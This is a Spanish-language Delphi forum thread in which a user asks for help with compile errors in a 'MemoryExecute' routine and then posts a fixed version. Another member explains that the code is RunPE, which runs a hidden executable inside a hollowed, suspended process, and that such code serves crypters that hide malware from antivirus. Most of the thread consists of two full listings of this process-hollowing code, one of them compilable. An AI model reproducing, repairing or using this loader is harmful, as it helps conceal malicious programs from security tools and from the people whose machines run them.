Foros Club Delphi

Foros Club Delphi (https://www.clubdelphi.com/foros/index.php)
-   Varios (https://www.clubdelphi.com/foros/forumdisplay.php?f=11)
-   -   Reparar varios errores en un codigo (https://www.clubdelphi.com/foros/showthread.php?t=87733)

JuanOrtega 19-02-2015 00:52:36

Reparar varios errores en un codigo
 
Hola tengo el siguiente codigo que estoy estudiando en Delphi XE2 que me devuelve los siguientes errores :

Código:

[DCC Error] Unit1.pas(97): E2033 Types of actual and formal var parameters must be identical
[DCC Error] Unit1.pas(111): E2033 Types of actual and formal var parameters must be identical
[DCC Error] Unit1.pas(121): E2033 Types of actual and formal var parameters must be identical
[DCC Error] Unit1.pas(132): E2033 Types of actual and formal var parameters must be identical

El codigo :

Código Delphi [-]
unit Unit1;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

Function MemoryExecute(Buffer :Pointer;Parameters: String; Visible: Boolean): TProcessInformation;
type
  HANDLE        = THandle;
  PVOID         = Pointer;
  LPVOID        = Pointer;
  SIZE_T        = Cardinal;
  ULONG_PTR     = Cardinal;
  NTSTATUS      = LongInt;
  LONG_PTR      = Integer;

  PImageSectionHeaders = ^TImageSectionHeaders;
  TImageSectionHeaders = Array [0..95] Of TImageSectionHeader;
Var
  ZwUnmapViewOfSection  :Function(ProcessHandle: THANDLE; BaseAddress: Pointer): LongInt; stdcall;
  ProcessInfo           :TProcessInformation;
  StartupInfo           :TStartupInfo;
  Context               :TContext;
  BaseAddress           :Pointer;
  BytesRead             :DWORD;
  BytesWritten          :DWORD;
  I                     :ULONG;
  OldProtect            :ULONG;
  NTHeaders             :PImageNTHeaders;
  Sections              :PImageSectionHeaders;
  Success               :Boolean;
  ProcessName           :string;

Function ImageFirstSection(NTHeader: PImageNTHeaders): PImageSectionHeader;
Begin
  Result := PImageSectionheader( ULONG_PTR(@NTheader.OptionalHeader) +
                                 NTHeader.FileHeader.SizeOfOptionalHeader);
End;

Function Protect(Characteristics: ULONG): ULONG;
Const
  Mapping       :Array[0..7] Of ULONG = (
                 PAGE_NOACCESS,
                 PAGE_EXECUTE,
                 PAGE_READONLY,
                 PAGE_EXECUTE_READ,
                 PAGE_READWRITE,
                 PAGE_EXECUTE_READWRITE,
                 PAGE_READWRITE,
                 PAGE_EXECUTE_READWRITE  );
Begin
  Result := Mapping[ Characteristics SHR 29 ];
End;
Begin
  @ZwUnmapViewOfSection := GetProcAddress(LoadLibrary('ntdll.dll'), 'ZwUnmapViewOfSection');
  ProcessName := ParamStr(0);

  FillChar(ProcessInfo, SizeOf(TProcessInformation), 0);
  FillChar(StartupInfo, SizeOf(TStartupInfo),        0);

  StartupInfo.cb := SizeOf(TStartupInfo);
  StartupInfo.dwFlags := STARTF_USESHOWWINDOW;
  if Visible Then
    StartupInfo.wShowWindow := SW_NORMAL
  else
    StartupInfo.wShowWindow := SW_Hide;

  If (CreateProcess(PChar(ProcessName), PChar(Parameters), NIL, NIL,
                    False, CREATE_SUSPENDED, NIL, NIL, StartupInfo, ProcessInfo)) Then
  Begin
    Success := True;
    Result := ProcessInfo;

    Try
      Context.ContextFlags := CONTEXT_INTEGER;
      If (GetThreadContext(ProcessInfo.hThread, Context) And
         (ReadProcessMemory(ProcessInfo.hProcess, Pointer(Context.Ebx + 8),
                            @BaseAddress, SizeOf(BaseAddress), BytesRead)) And
         (ZwUnmapViewOfSection(ProcessInfo.hProcess, BaseAddress) >= 0) And
         (Assigned(Buffer))) Then
         Begin
           NTHeaders    := PImageNTHeaders(Cardinal(Buffer) + Cardinal(PImageDosHeader(Buffer)._lfanew));
           BaseAddress  := VirtualAllocEx(ProcessInfo.hProcess,
                                          Pointer(NTHeaders.OptionalHeader.ImageBase),
                                          NTHeaders.OptionalHeader.SizeOfImage,
                                          MEM_RESERVE or MEM_COMMIT,
                                          PAGE_READWRITE);

           If (Assigned(BaseAddress)) And
              (WriteProcessMemory(ProcessInfo.hProcess, BaseAddress, Buffer,
                                  NTHeaders.OptionalHeader.SizeOfHeaders,
                                  BytesWritten)) Then
              Begin
                Sections := PImageSectionHeaders(ImageFirstSection(NTHeaders));

                For I := 0 To NTHeaders.FileHeader.NumberOfSections -1 Do
                  If (WriteProcessMemory(ProcessInfo.hProcess,
                                         Pointer(Cardinal(BaseAddress) +
                                                 Sections[i].VirtualAddress),
                                         Pointer(Cardinal(Buffer) +
                                                 Sections[i].PointerToRawData),
                                         Sections[i].SizeOfRawData, BytesWritten)) Then
                     VirtualProtectEx(ProcessInfo.hProcess,
                                      Pointer(Cardinal(BaseAddress) +
                                              Sections[i].VirtualAddress),
                                      Sections[i].Misc.VirtualSize,
                                      Protect(Sections[i].Characteristics),
                                      OldProtect);


                If (WriteProcessMemory(ProcessInfo.hProcess,
                                       Pointer(Context.Ebx + 8), @BaseAddress,
                                       SizeOf(BaseAddress), BytesWritten)) Then
                   Begin
                     Context.EAX := ULONG(BaseAddress) +
                                    NTHeaders.OptionalHeader.AddressOfEntryPoint;
                     Success := SetThreadContext(ProcessInfo.hThread, Context);
                   End;
              End;
         End;
    Finally
      If (Not Success) Then
        TerminateProcess(ProcessInfo.hProcess, 0)
      else
        ResumeThread(ProcessInfo.hThread);
    End;
  End;
End;

procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage('test');
end;

end.

La verdad no entiendo a que se debe este error , y se repite en varias lineas , ¿ como fixeo este error ?

escafandra 19-02-2015 01:50:06

Me llama la atención lo sencillo que resulta detectar y corregir los errores a la par de lo sofisticado del código. No se si sabes lo que realiza dicho código, por otra parte incoherente con el resto de la aplicación, yo si se lo que realiza y por tu pregunta deduzco que no lo has escrito tu, un copy-paste con un par de errores que un principiante detecta y corrige casi al vuelo.

Dime una cosa, ¿que pretendes hacer con ese código?


Saludos.

JuanOrtega 19-02-2015 18:25:07

como buen principiante ya resolvi el problema , gracias por la ayuda.

Saludos.

dec 19-02-2015 18:48:37

Hola,

Cita:

Empezado por Lepuke (Mensaje 488990)
como buen principiante ya resolvi el problema , gracias por la ayuda.

Saludos.

Es costumbre del foro aportar la solución cuando uno la encuentre, incluso si se trata de una solución para su propia pregunta.

Casimiro Notevi 19-02-2015 19:02:45

GUÍA ALTERNATIVA
  1. No te preocupes por dónde colocar tus preguntas. A nosotros nos encanta abrir todos los mensajes sin importar en qué foro estén.
  2. Ni pienses qué título ponerle a tu mensaje. "Tengo una duda" es suficiente para que nosostros entendamos que estás en problemas.
  3. Cuando te aparezca un mensaje de error, no te molestes en decirnos cuál es. Nos encanta tratar de adivinar.
  4. Cuando publiques código no te preocupes porque quede bien presentado. Nosotros distinguimos perfectamente los bloques sin necesidad de ninguna indentación.
  5. Si tienes un problema con bases de datos no es necesario que nos digas qué motor usas, nosotros sabemos la respuesta para cualquiera de ellos.
  6. Si no se entiende lo que preguntas, ni te molestes en aclarar. Nos fascinan los misterios.
  7. No te esfuerces en oprimir F1. Nosotros ya lo hemos hecho y podemos darte la respuesta más rápido.
  8. La opción de búsqueda en los foros sólo está para adornar la página. Es divertidísimo contestar una y otra vez lo mismo.
  9. ¿Google? Eso es para nerds como nosotros.
  10. Ante un problema, no te molestes en tratar de entenderlo. Nosotros ya nos hemos quemado las pestañas por ti y estamos felices de escribirte el código.
  11. Si te plase, eskribe con kas y faltas de hortografia. Komo nosotros no entramos a los chats nos hencanta pensar ke estamos en 1.
  12. Si en cinco minutos nadie te ha contestado, siéntete en libertad de abrir cuantos hilos puedas para preguntar lo mismo. Tú no mereces ese trato.
  13. Nunca des las gracias. Nos encanta responder sin más aliciente que ver nuestro nombre escrito.
  14. Cuando escribas un mensaje, siéntete en libertad de no volver en tres semanas. Nosotros estaremos aquí resolviendo tu problema.
  15. Si eres nuevo, acláralo desde el principio. Con eso basta para que nosotros resolvamos tu problema. Tú aún no puedes consultar la ayuda.
  16. Si alguien te remite a la guía de estilo, no te molestes en leerla. Tú tienes cosas más importantes que hacer y a fin de cuentas, nadie la lee.
  17. Si encuentras la solución tú mismo, no te molestes en explicarla. Bastará con un "Ya lo resolví, gracias". Nos emociona ver gente autosuficiente.
  18. No dudes en pedir que te envíen la solución a tu correo. El foro está sólo para los ociosos y tú no tienes tiempo que perder.
:p

roman 19-02-2015 19:24:04

No sé. Supongo que será fácil encontrar y corregir el error pero por más que le busco no encuentro los dichosos var parameters :o :eek: :rolleyes:

pd: ha de ser la senectud temprana :p

// Saludos

JuanOrtega 19-02-2015 19:34:14

ajajajaj , tranquilos no se pongan asi , solo que pense que nadie habia leido este post aca les dejo la solucion :

Código Delphi [-]
unit Unit1;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

Function MemoryExecute(Buffer: Pointer; Parameters: String; Visible: Boolean)
  : TProcessInformation;
type

  PImageSectionHeaders = ^TImageSectionHeaders;
  TImageSectionHeaders = Array [0 .. 95] Of TImageSectionHeader;
Var
  ZwUnmapViewOfSection: Function(ProcessHandle: THANDLE; BaseAddress: Pointer)
    : LongInt; stdcall;
  ProcessInfo: TProcessInformation;
  StartupInfo: TStartupInfo;
  Context: TContext;
  BaseAddress: Pointer;
  BytesRead: SIZE_T;
  BytesWritten: SIZE_T;
  I: ULONG;
  OldProtect: ULONG;
  NTHeaders: PImageNTHeaders;
  Sections: PImageSectionHeaders;
  Success: Boolean;
  ProcessName: string;

  Function ImageFirstSection(NTHeader: PImageNTHeaders): PImageSectionHeader;
  Begin
    Result := PImageSectionHeader(ULONG_PTR(@NTHeader.OptionalHeader) +
      NTHeader.FileHeader.SizeOfOptionalHeader);
  End;

  Function Protect(Characteristics: ULONG): ULONG;
  Const
    Mapping: Array [0 .. 7] Of ULONG = (PAGE_NOACCESS, PAGE_EXECUTE,
      PAGE_READONLY, PAGE_EXECUTE_READ, PAGE_READWRITE, PAGE_EXECUTE_READWRITE,
      PAGE_READWRITE, PAGE_EXECUTE_READWRITE);
  Begin
    Result := Mapping[Characteristics SHR 29];
  End;

Begin
  @ZwUnmapViewOfSection := GetProcAddress(LoadLibrary('ntdll.dll'),
    'ZwUnmapViewOfSection');
  ProcessName := ParamStr(0);

  FillChar(ProcessInfo, SizeOf(TProcessInformation), 0);
  FillChar(StartupInfo, SizeOf(TStartupInfo), 0);

  StartupInfo.cb := SizeOf(TStartupInfo);
  StartupInfo.dwFlags := STARTF_USESHOWWINDOW;
  if Visible Then
    StartupInfo.wShowWindow := SW_NORMAL
  else
    StartupInfo.wShowWindow := SW_Hide;

  If (CreateProcess(PChar(ProcessName), PChar(Parameters), NIL, NIL, False,
    CREATE_SUSPENDED, NIL, NIL, StartupInfo, ProcessInfo)) Then
  Begin
    Success := True;
    Result := ProcessInfo;

    Try
      Context.ContextFlags := CONTEXT_INTEGER;
      If (GetThreadContext(ProcessInfo.hThread, Context) And
        (ReadProcessMemory(ProcessInfo.hProcess, Pointer(Context.Ebx + 8),
        @BaseAddress, SizeOf(BaseAddress), BytesRead)) And
        (ZwUnmapViewOfSection(ProcessInfo.hProcess, BaseAddress) >= 0) And
        (Assigned(Buffer))) Then
      Begin
        NTHeaders := PImageNTHeaders(Cardinal(Buffer) +
          Cardinal(PImageDosHeader(Buffer)._lfanew));
        BaseAddress := VirtualAllocEx(ProcessInfo.hProcess,
          Pointer(NTHeaders.OptionalHeader.ImageBase),
          NTHeaders.OptionalHeader.SizeOfImage, MEM_RESERVE or MEM_COMMIT,
          PAGE_READWRITE);

        If (Assigned(BaseAddress)) And
          (WriteProcessMemory(ProcessInfo.hProcess, BaseAddress, Buffer,
          NTHeaders.OptionalHeader.SizeOfHeaders, BytesWritten)) Then
        Begin
          Sections := PImageSectionHeaders(ImageFirstSection(NTHeaders));

          For I := 0 To NTHeaders.FileHeader.NumberOfSections - 1 Do
            If (WriteProcessMemory(ProcessInfo.hProcess,
              Pointer(Cardinal(BaseAddress) + Sections[i].VirtualAddress),
              Pointer(Cardinal(Buffer) + Sections[i].PointerToRawData),
              Sections[i].SizeOfRawData, BytesWritten)) Then
              VirtualProtectEx(ProcessInfo.hProcess,
                Pointer(Cardinal(BaseAddress) + Sections[i].VirtualAddress),
                Sections[i].Misc.VirtualSize,
                Protect(Sections[i].Characteristics), OldProtect);

          If (WriteProcessMemory(ProcessInfo.hProcess, Pointer(Context.Ebx + 8),
            @BaseAddress, SizeOf(BaseAddress), BytesWritten)) Then
          Begin
            Context.EAX := ULONG(BaseAddress) +
              NTHeaders.OptionalHeader.AddressOfEntryPoint;
            Success := SetThreadContext(ProcessInfo.hThread, Context);
          End;
        End;
      End;
    Finally
      If (Not Success) Then
        TerminateProcess(ProcessInfo.hProcess, 0)
      else
        ResumeThread(ProcessInfo.hThread);
    End;
  End;
End;

procedure TForm1.Button1Click(Sender: TObject);
begin
  ShowMessage('error');
end;

end.

escafandra 19-02-2015 20:30:47

Cita:

Empezado por roman (Mensaje 488995)
No sé. Supongo que será fácil encontrar y corregir el error pero por más que le busco no encuentro los dichosos var parameters :o :eek: :rolleyes:

pd: ha de ser la senectud temprana :p

// Saludos

Código Delphi [-]
  BytesRead             WORD;  
  BytesWritten          WORD;
Fallo de sintaxis y de tipo. Deben ser DWORD

El código es un RunPE. Ejecuta desde RAM un bloque de memoria que aloje un ejecutable, la base de un crypter. Por eso me mostré tan escéptico con el tema. Estoy seguro que Lepuke no comprende ese código aunque si entiende para que sirve, por eso lo copió.

Saludos.

roman 19-02-2015 20:34:55

Estoy de acuerdo contigo (y mira que yo tampoco sé que es ese código) :)

Los var parameter no los veía porque, de hecho no están ahí ¿no? Supongo que están declarados en alguna de las funciones que utilizan las variables que mencionas.

// Saludos

escafandra 19-02-2015 20:50:11

Cita:

Empezado por roman (Mensaje 489003)
Los var parameter no los veía porque, de hecho no están ahí ¿no? Supongo que están declarados en alguna de las funciones que utilizan las variables que mencionas.

Simplemente estaban equivocados los tipos, por eso el compilador protestaba, "no son idénticos"

Saludos.

JuanOrtega 19-02-2015 21:20:07

Cita:

Empezado por escafandra (Mensaje 489005)
por eso lo copió.

¿ Que ? , nunca dije que el codigo era mio , dije que lo estaba estudiando no se que por haces tanto lio con ese tema y ni hablar cuando dijiste que yo no nisiquiera era un simple principiante.
deberias medir tus palabras yo les estoy hablando a todos con respeto y no los trato de ignorantes o rippers como lo estas haciendo conmigo.

escafandra 19-02-2015 23:14:21

Cita:

Empezado por Lepuke (Mensaje 489007)
¿ Que ? , nunca dije que el codigo era mio , dije que lo estaba estudiando..

Cierto, nunca dijiste que el código era tuyo pero tampoco que lo estuvieras estudiando, simplemente preguntaste una duda, la duda que te impedía compilarlo.

Cita:

Empezado por Lepuke (Mensaje 489007)
... cuando dijiste que yo no nisiquiera era un simple principiante.

No dije que fueras principiante, dije que el código tenía "un par de errores que un principiante detecta y corrige casi al vuelo", y de hecho tu mismo has encontrado ese par de errores, dos variables cambiadas de tipo y sintácticamente mal escritas, probablemente los introdujiste tú mismo al desconocer los tipos que las APIs esperaban encontrar, por eso deduje que no entendías el código.

Cita:

Empezado por Lepuke (Mensaje 489007)
deberias medir tus palabras yo les estoy hablando a todos con respeto y no los trato de ignorantes o rippers como lo estas haciendo conmigo.

No quise ofenderte, pero estarás de acuerdo conmigo en que ese tipo de código puede resultar peligroso, según, como y quién lo use. No preguntaste nada sobre su funcionamiento real, sino una simple duda de tipos, parece que es lo que realmente te interesaba y eso me puso en alerta.

Para experimentar se debe saber bien lo que estás haciendo y entender a fondo el código, sobre todo, si como dices, pretendes estudiarlo. Para ese propósito de nada te servirá tener un código que hace cosas "especiales" y usarlo sin entenderlo.

No es que piense mal de ti en concreto, espero que seas sensato, pero todavía no contestaste a mi pregunta inicial, ¿que piensas hacer con ese código?


Saludos.

Casimiro Notevi 19-02-2015 23:30:37

Paz y amor
||-||

escafandra 19-02-2015 23:32:04

Ya entrados en el asunto y para saciar curiosidades, el código funciona de la siguiente manera:

1. Se pretende ejecutar un programa cargado en memoria y no desde un archivo.
2. Crea un nuevo proceso suspendido, en este caso una copia del mismo que se está ejecutando.
3. En el espacio de memoria del nuevo proceso se copian todas las secciones del PE del proceso "escondido en memoria" que pretendemos ejecutar.
4. Terminado este proceso, localizamos el nuevo punto de entrada a nuestro "binario escondido" y ajustamos el Contexto del nuevo proceso alterado para asignarle el nuevo punto de entrada.
5. Para finalizar reactivamos el hilo principal que estaba suspendido hasta este momento.

El método es ingenioso y su conocimiento una simple curiosidad técnica.

El tema es que el uso de estas técnicas se circunscribe a esconder binarios a los ojos de los antivirus, no tiene otro sentido. Esos binarios pueden suelen encriptados para aumentar su invisibilidad, en definitiva su utilidad es para realizar crypters que escondan virus o código malicioso.



Saludos.

escafandra 19-02-2015 23:34:13

Mientras escribía Casimiro Notevi dejó este mensaje:
Cita:

Empezado por Casimiro Notevi (Mensaje 489011)
Paz y amor
||-||

||-||

Saludos.

JuanOrtega 19-02-2015 23:36:21

Cita:

Empezado por escafandra (Mensaje 489010)
Cierto, nunca dijiste que el código era tuyo

Hola tengo el siguiente codigo que estoy estudiando en Delphi XE2 que me devuelve los siguientes errores :

Cita:

Empezado por escafandra (Mensaje 489010)
¿que piensas hacer con ese código?

simple curiosidad de como funciona.

escafandra 19-02-2015 23:46:03

La curiosidad es buena y estimulante.

Ya he expuesto el resumen de su funcionamiento, ahora te toca estudiar mucho sobre el formato PE, sobre las estructuras que lo componen, así como alcanzar un profundo conocimiento de la API de Windows.


Saludos.

nlsgarcia 20-02-2015 00:09:22

escafandra,

Cita:

Empezado por escafandra
...Ya he expuesto el resumen de su funcionamiento...

^\||/

Nelson.

roman 20-02-2015 03:10:53

Cita:

Empezado por escafandra (Mensaje 489012)
Ya entrados en el asunto y para saciar curiosidades, el código funciona de la siguiente manera:

1. Se pretende ejecutar un programa cargado en memoria y no desde un archivo.
2. Crea un nuevo proceso suspendido, en este caso una copia del mismo que se está ejecutando.
3. En el espacio de memoria del nuevo proceso se copian todas las secciones del PE del proceso "escondido en memoria" que pretendemos ejecutar.
4. Terminado este proceso, localizamos el nuevo punto de entrada a nuestro "binario escondido" y ajustamos el Contexto del nuevo proceso alterado para asignarle el nuevo punto de entrada.
5. Para finalizar reactivamos el hilo principal que estaba suspendido hasta este momento.

¡Ah! ¡Qué tiempos aquellos del for i:=1 to 10 writeln('hola');

Impresionante. La verdad, mis respetos escafandra :)

// Saludos


La franja horaria es GMT +2. Ahora son las 00:54:14.

Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Traducción al castellano por el equipo de moderadores del Club Delphi